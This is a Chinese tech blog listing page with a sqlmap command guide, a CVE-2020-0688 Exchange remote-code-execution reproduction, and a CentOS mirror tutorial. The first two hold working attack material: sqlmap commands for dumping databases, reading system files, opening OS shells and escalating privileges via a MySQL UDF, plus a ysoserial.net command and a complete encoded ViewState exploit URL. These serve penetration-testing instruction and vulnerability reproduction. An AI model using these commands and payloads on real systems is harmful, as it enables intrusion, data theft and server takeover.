首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
Search
1
使用ReDroid打造自己的云手机
3,631 阅读
2
Cloudflare SAAS 接入自选教程
2,214 阅读
3
兽装曲腿制作文档
1,994 阅读
4
Frpc使用XTCP不通过服务器传输
1,859 阅读
5
CloudFront CDN配置教程
1,215 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
443
篇文章
累计收到
124
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
麟图图床
麟云文件
麟云KMS
麟云工具
麟云证书管理
搜索到
60
篇与
的结果
2020-03-19
sqlmap使用
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令下载安装官方网站:http://sqlmap.org/下载地址:https://github.com/sqlmapproject/sqlmap/(1)linux下git直接安装gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev(2)windows下安装windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.7.x或者2.6.x环境支持。(3)kali及PentestBox默认安装sqlmap参数 -h或-hh:查看sqlmap的参数信息,双h显示全部 -version:查看版本信息目标-d 直接连接数据库的连接字符串 sqlmap -d “mysql://root:123456@127.0.0.1:3306/mysql"-u 检测目标url是否存在注入 sqlmap -u "http://127.0.0.1/sql.php?id=1"-m 检测文件中的url 例: sqlmap -m "1.txt"-r:从文件加载HTTP请求进行注入(burp抓取的数据包等) 例: sqlmap - r "1.txt"-g 自动获取Google搜索的前一百个结果,所处的网络环境要能访问Google才行 例: sqlmap -g "inurl:\".php?id=1\""-p 指定测试参数,若想只测试GET参数“id”和User-Agent 例: sqlmap -u "http://127.0.0.1?id=1" -p "id,user-agent"--skip 不测试指定参数,如设置了level为5但不想测试User-Agent和Referer 例: sqlmap -u "http://127.0.0.1?id=1" --level 5 --skip "user-agent,referer"--dbms 指定数据库类型,支持以下这些数据库管理系统:MySQL,Oracle,PostgreSQL,SQL Server,Access,Firebird,SQLite,Sybase,SAP MaxDB,DB2 例: sqlmap -u "http://127.0.0.1?id=1" --dbms Access--os 指定操作系统 例: sqlmap -u "http://127.0.0.1?id=1" --os linux请求--data 通过POST发送数据参数sqlmap会检测该参数指定数据是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1" --data "id=1"--proxy 设置代理 例: sqlmap -u "http://127.0.0.1" --proxy "http://127.0.0.1:8080"--param-del 默认url地址以“&”作为分隔符。我们可以使用“--param-del”来指定分隔符 例: sqlmap -u "http://127.0.0.1" --data "id=1;name=junmo" --param-del=";"--cookie 部分页面访问需要登入状态cookie默认的分隔符为“;”指定cookie中的分隔符使用参数"–cookie-del" 例: sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1" --cookie "PHPSESSID=kldvor5u6uokm9b2qpa0t4kp41;user=junmo;"--drop-set-cookie 若HTTP响应头中有"Set-Cookie",Sqlmap会自动设置cookie,并对这些cookie进行检测,不想set cookie添加参数"--drop-set-cookie" sqlmap就会忽略。--user-agent sqlmap默认的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(sqlmap.org)使用--user-agent参数来修改,当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入 例: sqlmap -u "http://127.0.0.1?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0"--random-agent 从文件./txt/user-agents.txt中随机地取一个User-Agent作为HTTP User-Agent头值 例: sqlmap -u "http://127.0.0.1?id=1" --random-agent--referer 指定HTTP头中的Referer值,Sqlmap发送的HTTP请求头部默认无Referer字段level<=3时,会检测Referer是否存在注入漏洞 例: sqlmap -u "http://127.0.0.1?id=1" --referer "http://192.168.0.1/"--headers 发送时额外添加HTTP请求报文头部字段,若添加多个字段,用"\n"分隔 例: sqlmap -u "http://127.0.0.1?id=1" --headers="X-Forwarded-For: 1.1.1.1\nETag: 123456"--delay 来指定HTTP请求之间的延迟防止过于频繁而被拦截,单位为秒,类型是浮点数,如"--delay 1.5"表示延迟1.5秒,默认是没有延迟的。例: sqlmap -u "http://127.0.0.1?id=1" --delay 0.5--timeou 超时时间默认为30秒,指定超时时间,如"--timeout 52.1"表示设置超时时间为52.1秒 例: sqlmap -u "http://127.0.0.1?id=1" --timeou 50--retries 指定超时后最大重试次数默认为3 例: sqlmap -u "http://127.0.0.1?id=1" --retries 5--skip-urlencode 默认会对URL进行URL编码,使用该参数关闭URL编码。例: sqlmap -u "http://127.0.0.1?id=1" --skip-urlencode--threads 设置线程默认为1最大为10 例: sqlmap -u "http://127.0.0.1?id=1" --threads 10--invalid-bignum 生成无效参数值时强制使用大数, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加"–invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。--invalid-logical 生成无效参数值时强制使用逻辑操作符, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。--invalid-string 生成无效参数值时强制使用字符串, 注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“–invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。--no-cast 关闭payload转换 在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了"–no-cast"来告诉Sqlmap不要这样做。--no-escape 关闭字符串编码 有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar’”,默认地这些值会被编码,如上例将被编码为:“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码--prefix payload前添加用户指定的前缀,如宽字节注入 例: sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --prefix "%df'"--suffix payload后添加用户指定的后缀--mobile 模拟手机User-Agent检测--level 用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测 例: sqlmap -u "http://127.0.0.1?id=1" --level 5--risk 用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害,风险等级2添加了基于时间的注入测试,等级3添加了OR测试。sqlmap -u "http://127.0.0.1?id=1" --risk 3'-v VERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;“1”同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。信息获取 --common-tables 暴力破解表名 有些情况下用“--tables”不能列出数据库中表名来,如:版本小于5.0的MySQL没有information_schema表微软Access的MSysObjects表默认不可读数据库用户权限过低无法读取表名当无法读出表名时可以使用参数“–common-tables”暴力破解表名,该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。 --common-columns 暴力破解列名 该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。 --all 列举所有可访问的数据 -b或--banner 大多数的现代数据库管理系统都有一个函数或是环境变量能够返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。通常这个函数是version()、环境变量是@@version,当然要看目标数据库管理系统了。使用参数“-b”或“--banner”来列举数据库管理系统的这一信息。 --current-user 获取当前用户 --current-db 获取当前数据库 --hostname 获取服务器主机名 --is-dba 检测是否为管理员权限若是管理员则返回True,否则返回False。 --users 获取数据库用户 --password 获取数据库管理系统用户密码Hash值 --privileges 获取当前用户权限 --dbs 获取数据库系统数据库 --tables 获取数据库系统数据表 --columns 获取数据库系统数据列 -D 指定数据库 -T 指定数据表 -C 指定数据列 --count 获取数据条数 例: sqlmap -u "http://127.0.0.1?id=1" -D "mysql" -T "user" --count --dump 下载指定数据 例: sqlmap -u "http://127.0.0.1?id=1" --dump -D "mysql" -T "user" --dump-all 下载所有数据 --exclude-sysdbs 排除指定数据库 例: sqlmap -u "http://127.0.0.1?id=1" --dump-all --exclude-sysdbs "mysql" --search 可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。参数“–search”要和下列参数之一配合使用: -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索 -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索 -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。默认为包含搜索,即搜索的字符串包含于结果中就认为命中。精确搜索要求搜索的字符串与结果完全相等。例: sqlmap -u "http://127.0.0.1?id=1" -T "user" --search "user" --sql-query 执行sql语句 例: sqlmap -u "http://127.0.0.1?id=1" --sql-query "select version()" --sql-shell 交互式SQL的shell小技巧--technique 指定注入类型 其值为B、E、U、S、T或Q,含义如下:B:Boolean-based blind(布尔型注入)E:Error-based(报错型注入)U:Union query-based(可联合查询注入)S:Stacked queries(可多语句查询注入)T:Time-based blind(基于时间延迟注入)Q:Inline queries(嵌套查询注入)可以用“--technique ES”来指定使用两种检测技术。“--technique BEUSTQ”与默认情况等效。--time-sec 此参数用与设置基于时间延迟注入中延时时长,默认为5秒。--union-cols 在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。可以用此参数指定列数检测范围,如--union-cols 12-16就会让Sqlmap的列数检测范围变成12到16。--union-char 默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。因为有时使用空字符注入会失败而使用随机数会成功。使用此参数可以指定联合查询注入中使用的字符,如:“--union-char 123”--union-from 有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。(也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。)用此参数指定这个表名,如“–union-from=users”访问文件系统--file-read 读取文件 例: sqlmap -u "http://127.0.0.1?id=1" --file-read "D:/1.txt"--file-write --file-dest 上传文件到数据库服务器中 例: sqlmap -u "http://127.0.0.1?id=1" --file-write "本机位置” --file-dest “上传位置”操作系统控制 --os-cmd 执行系统命令 sqlmap -u "http://127.0.0.1?id=1" --os-cmd "whoami" --os-shell 交互式的操作系统的shell通用选项 -s Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参 -t 记录所有HTTP流量到一个文本文件中,该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。例:sqlmap -u "http://127.0.0.1?id=1" -t http.log --batch不询问用户输入,使用所有默认配置(Y/N)。 --charset 设置字符编码 如“–charset=GBK --crawl 从目标URL爬行网站 Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用.例: sqlmap -u "http://127.0.0.1?id=1" --batch --crawl 3 --eta 该参数用于显示估计的完成时间 --flush-session 刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。例: sqlmap -u "http://127.0.0.1?id=1" --flush-session --forms 解析和测试目标URL表单 sqlmap -u "http://127.0.0.1" --forms --hex 非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。 --update 更新sqlmapTampersqlmap版本为1.2.7.20,有57个tamper脚本序号脚本名称注释10x2char将每个编码后的字符转换为等价表达2apostrophemask单引号替换为Utf8字符3apostrophenullencode替换双引号为%00%274appendnullbyte有效代码后添加%005base64encode使用base64编码6between比较符替换为between7bluecoat空格替换为随机空白字符,等号替换为like8chardoubleencode双url编码9charencode将url编码10charunicodeencode使用unicode编码11charunicodeescape以指定的payload反向编码未编码的字符12commalesslimit改变limit语句的写法13commalessmid改变mid语句的写法14commentbeforeparentheses在括号前加内联注释15concat2concatws替换CONCAT为CONCAT_WS16equaltolike等号替换为like17escapequotes双引号替换为\\\\18greatest大于号替换为greatest19halfversionedmorekeywords在每个关键字前加注释20htmlencodehtml编码所有非字母和数字的字符21ifnull2casewhenisnull改变ifnull语句的写法22ifnull2ifisnull替换ifnull为if(isnull(A))23informationschemacomment标示符后添加注释24least替换大于号为least25lowercase全部替换为小写值26modsecurityversioned空格替换为查询版本的注释27modsecurityzeroversioned添加完整的查询版本的注释28multiplespaces添加多个空格29nonrecursivereplacement替换预定义的关键字30overlongutf8将所有字符转义为utf831overlongutf8more以指定的payload转换所有字符32percentage每个字符前添加%33plus2concat将加号替换为concat函数34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}35randomcase字符大小写随机替换36randomcomments/**/分割关键字37securesphere添加某字符串38sp_password追加sp_password字符串39space2comment空格替换为/**/40space2dash空格替换为–加随机字符41space2hash空格替换为#加随机字符42space2morecomment空格替换为/**_**/43space2morehash空格替换为#加随机字符及换行符44space2mssqlblank空格替换为其他空符号45space2mssqlhash空格替换为%23%0A46space2mysqlblank空格替换为其他空白符号47space2mysqldash空格替换为–%0A48space2plus空格替换为加号49space2randomblank空格替换为备选字符集中的随机字符50symboliclogicalAND和OR替换为&&和||51unionalltounionunion all select替换为union select52unmagicquotes宽字符绕过GPC53uppercase全部替换为大写值54varnish添加HTTP头55versionedkeywords用注释封装每个非函数的关键字56versionedmorekeywords使用注释绕过57xforwardedfor添加伪造的HTTP头使用技巧1. URL重写SQL注入测试value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。sqlmap -u "http://127.0.0.1/param1/value1*/param2/value2/"2. 列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。sqlmap -u "http://127.0.0.1/sqlmap/pgsql/get_int.php?id=1" --passwords -v13. 获取表中的数据个数sqlmap. -u "http://127.0.0.1/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb4.对网站s127.0.0.1进行漏洞爬取sqlmap -u "http://127.0.0.1" --batch –crawl=35.基于布尔SQL注入预估时间sqlmap -u "http://127.0.0.1/sqlmap/oracle/get_int_bool.php?id=1" -b --eta6.使用hex避免字符编码导致数据丢失sqlmap -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors7.模拟测试手机环境站点sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile8.智能判断测试sqlmap -u “http://www.antian365.com/info.php?id=1“--batch --smart9.结合burpsuite进行注入(1)burpsuite抓包,需要设置burpsuite记录请求日志sqlmap -r "burpsuite抓包.txt"(2)指定表单注入sqlmap.py -u "http://127.0.0.1" --data "username=a&password=a”10.sqlmap自动填写表单注入自动填写表单:sqlmap -u "http://127.0.0.1" –formssqlmap -u "http://127.0.0.1" –forms –dbssqlmap -u "http://127.0.0.1" –forms –current-dbsqlmap -u "http://127.0.0.1" –forms -D 数据库名称–tablessqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 –columnssqlmap -u "http://127.0.0.1" –forms -D 数据库名称 -T 表名 -Cusername,password –dump11.读取linux下文件 sqlmap -u "http://127.0.0.1" --file /etc/password12.延时注入sqlmap -u ""http://127.0.0.1?id=1" --technique -T13. sqlmap 结合burpsuite进行post注入结合burpsuite来使用sqlmap:(1)浏览器打开目标地址http://127.0.0.1(2)配置burp代理(127.0.0.1:8080)以拦截请求(3)点击登录表单的submit按钮(4)Burp会拦截到了我们的登录POST请求(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下(6)运行sqlmap并使用如下命令:sqlmap -r "post.txt" -p tfUPass14.sqlmap cookies注入sqlmap -u “http://127.0.0.1/base.PHP“–cookies “id=1″ –dbs –level 2默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:sqlmap.py -u 注入点URL --cookie"id=xx" --level 3sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumnssqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump 15.mysql提权(1)连接mysql数据打开一个交互shell:sqlmap.py -d "mysql://root:root@127.0.0.1:3306/test" --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dllCREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'select sys_eval('ver');16.执行shell命令sqlmap -u "http://127.0.0.1?id=1" --os-cmd "netuser" /*执行net user命令*/sqlmap -u "http://127.0.0.1?id=1" --os-shell /*系统交互的shell*/17.延时注入sqlmap –dbs -u "http://127.0.0.1?id=1" --delay 0.5 /*延时0.5秒*/sqlmap –dbs -u "http://127.0.0.1?id=1" --safe-freq /*请求2次*/18.批量注入将目标url搜集并整理为txt文件,所有文件都保存为你url.txt,然后使用"sqlmap.py-m tg.txt",注意url.txt跟sqlmap在同一个目录下19.设置并发线程数在dump的时候推荐使用此选项,能明显增加dump的速度。sqlmap -u "http://127.0.0.1?id=1" --dump-all --threads "10"
2020年03月19日
93 阅读
0 评论
0 点赞
2020-03-19
CVE-2020-0688 exchange远程代码执行漏洞复现
影响版本Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019漏洞原理这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。复现过程1、需要变量想要利用该漏洞,我们需要四个参数,分别为:–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)–validationalg = SHA1(默认,漏洞产生原因)–generator=B97B4E27(基本默认)–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。所有这些都可以通过浏览器中的工具轻松获取。2、获取viewstateuserkey和generator值在正常登录后访问 /ecp/default.aspx 页面。使用F12开发者工具的Network选项,刷新页面重新发送请求,找到登录时/ecp/default.aspx的原始响应。在Headers选项卡找到ASP.NET_SessionId的cookie:如果未找到此字段不必慌张,直接使用默认值B97B4E27 即可。3、使用工具生成payload使用ysoserial.net工具生成反序列化payload。 工具下载地址:https://github.com/pwntester/ysoserial.net/生成payload命令:ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy4、构造攻击地址在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。示例:https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D5、访问地址并成功执行访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。登录服务器查看进程,发现计算器成功启动。其他问题1、关于版本网上一些说法该漏洞对大版本的小版本有限制。其实不是这样的,应该是全版本通杀的。本人测试环境server 12 + exchange 2013。测试过15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)也就是update23,均存在漏洞,可以复现成功,16,19未测试,应该差不多。2、__VIEWSTATEGENERATOR在最初版本的时候一直没有这个参数(确实不重要,基本为默认值),造成这一问题的主要原因是没有更新系统补丁KB2919355,更新该补丁后就会出现__VIEWSTATEGENERATOR字段。3、无法创建文件大部分复现者只复现到启动计算器,但是却无法创建文件。但经过测试发现问题出在ysoserial.exe的-c参数上,虽然在演示过程中可以直接-c “echo OOOPS!!! > c:/Vuln_Server.txt”创建文件,让人误以为-c是在cmd窗口下运行,但是实际上-c实际为“运行”的内容,因此直接echo是不行的,需要-c “cmd /c echo test > C:\1.txt”,经测试成功创建文件,如图所示:4、URL Encode编码对生成的payload编码时,需要注意只编码关键的特殊字符即可,如果全编码的话会无法利用成功。修复建议1、建议及时更新相关补丁产品文章下载Microsoft Exchange Server 2010 Service Pack 3更新汇总304536989安全更新Microsoft Exchange Server 2013累积更新234536988安全更新Microsoft Exchange Server 2016累积更新144536987安全更新Microsoft Exchange Server 2016累积更新154536987安全更新Microsoft Exchange Server 2019累积更新34536987安全更新Microsoft Exchange Server 2019累积更新44536987安全更新2、限制Exchange Control Panel (ECP)组件页面访问权限由于该漏洞需要利用Exchange Control Panel (ECP)组件,因此禁止此组件访问也不失为一个较为有效的应急方法,建议条件允许的情况下及时更新补丁。
2020年03月19日
68 阅读
0 评论
0 点赞
2020-03-17
Centos更换阿里YUM源
像是某些物理服务器,或者小产商的VPS服务器,哪怕是自己的虚拟机,Centos默认的yum源基本上都是国外的源,国内访问,基本上一个字慢!而解决方法就是换源咯,国内也是很多镜像站,清华大学,阿里云,腾讯云,网易。更换方法都是大同小异,不过站长更喜欢阿里云。。。1.复制备份:cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup2.下载:wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo如果你很不幸报错醒醒,你纯净系统没wget工具的,要么用curl。。。当然你要坚持,我也没话讲 yum -y install wget 去吧。丢一份完整的表参考参考去CentOS 5wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repocurl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-5.repoCentOS 6wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repocurl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repoCentOS 7wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repocurl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo3、添加EPELCentOS 6wget -O /etc/yum.repos.d/epel-6.repo http://mirrors.aliyun.com/repo/epel-6.repoCentOS 7wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo4、清理缓存并生成新的缓存yum clean allyum makecache然后就OJBK了科普一下EPEL (Extra Packages for Enterprise Linux,企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目,为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包,不会与企业版Linux发行版本的软件发生冲突或替换其文件。RHEL/CentOS系统有许多第三方源,比较流行的比如RpmForge,RpmFusion,EPEL,Remi等等。然而需要引起注意的是,如果系统添加了多个第三方源,可能会因此产生冲突——一个软件包可以从多个源获取,一些源会替换系统的基础软件包,从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。对于这些问题我们建议,调整源的优先权或者有选择性的安装源,但是这需要复杂的操作,如果你不确定如何操作,我们推荐你只安装一个第三方源。
2020年03月17日
48 阅读
0 评论
0 点赞
2020-03-16
phpStudy远程RCE漏洞复现
